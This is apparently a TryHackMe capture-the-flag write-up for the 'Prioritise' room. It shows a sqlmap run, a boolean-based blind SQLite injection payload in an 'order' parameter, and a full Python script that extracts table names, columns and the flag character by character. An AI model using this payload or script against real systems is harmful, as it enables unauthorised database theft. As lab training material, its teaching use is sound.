Post

TryHackMe Prioritise Writeup

Explore the fundamentals of cybersecurity in the Prioritise Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.21.39 prioritise.thm

Script to add hosts automatically

1
2
3
ip="10.10.21.39"
domain="prioritise.thm"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

I found the blind SQL injection payload using sqlmap:

1
sqlmap -u "http://10.10.220.150/?order=" --level=5 --risk=3 --batch

The payload identified by sqlmap is as follows:

1
2
3
4
5
6
---
Parameter: order (GET)
    Type: boolean-based blind
    Title: SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)
    Payload: order=-7076 OR CASE WHEN 1536=1536 THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END
---

Even though I could use sqlmap to fully exploit this vulnerability, I wanted to create a custom script to perform the SQL injection manually.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
import requests
import sys
import string

url = "http://prioritise.thm/"
chars = list(string.ascii_letters + string.digits + "_") + [chr(i) for i in range(33, 127) if chr(i) not in string.ascii_letters + string.digits + "_"]
s = requests.Session()
ok = s.get(url + "?order=-7076 OR CASE WHEN 1536=1536 THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END").content
max_retries = 3
results = {}

def brute_force(action, position, c, table_name='', column_name=''):
    payloads = {
        "table": f"?order=-7076 OR CASE WHEN (SELECT substr(name,{position},1) FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 1)='{c}' THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END",
        "column": f"?order=-7076 OR CASE WHEN (SELECT substr(name,{position},1) FROM pragma_table_info('{table_name}'))='{c}' THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END",
        "flag": f"?order=-7076 OR CASE WHEN (SELECT substr({column_name},{position},1) FROM {table_name})='{c}' THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END"
    }
    return s.get(url + payloads[action])

def brute_force_action(action):
    ans = []
    position = 1
    table_name = results.get('table', '')
    column_name = results.get('column', '')
    while True:
        found = False
        stop = True
        for c in chars:
            retries = 0
            while retries < max_retries:
                try:
                    sys.stdout.write(f"\r{action.capitalize()} so far: {''.join(ans)}{c}")
                    response = brute_force(action, position, c, table_name, column_name)
                    if response.content == ok:
                        ans.append(c)
                        found = True
                        stop = False
                        break
                    else:
                        break
                except Exception:
                    retries += 1
            if found:
                break
        if stop:
            break
        position += 1
    result = ''.join(ans).rstrip()
    results[action] = result
    sys.stdout.write(f"\r\033[K{action.capitalize()} found: {result}\n")

if __name__ == "__main__":
    try:
        for action in ["table", "column", "flag"]:
            brute_force_action(action)
    except KeyboardInterrupt:
        sys.stdout.write("\nUser interrupted the process. Exiting gracefully...\n")
        sys.exit(0)
1
2
chmod +x flag
./flag
This post is licensed under CC BY 4.0 by the author.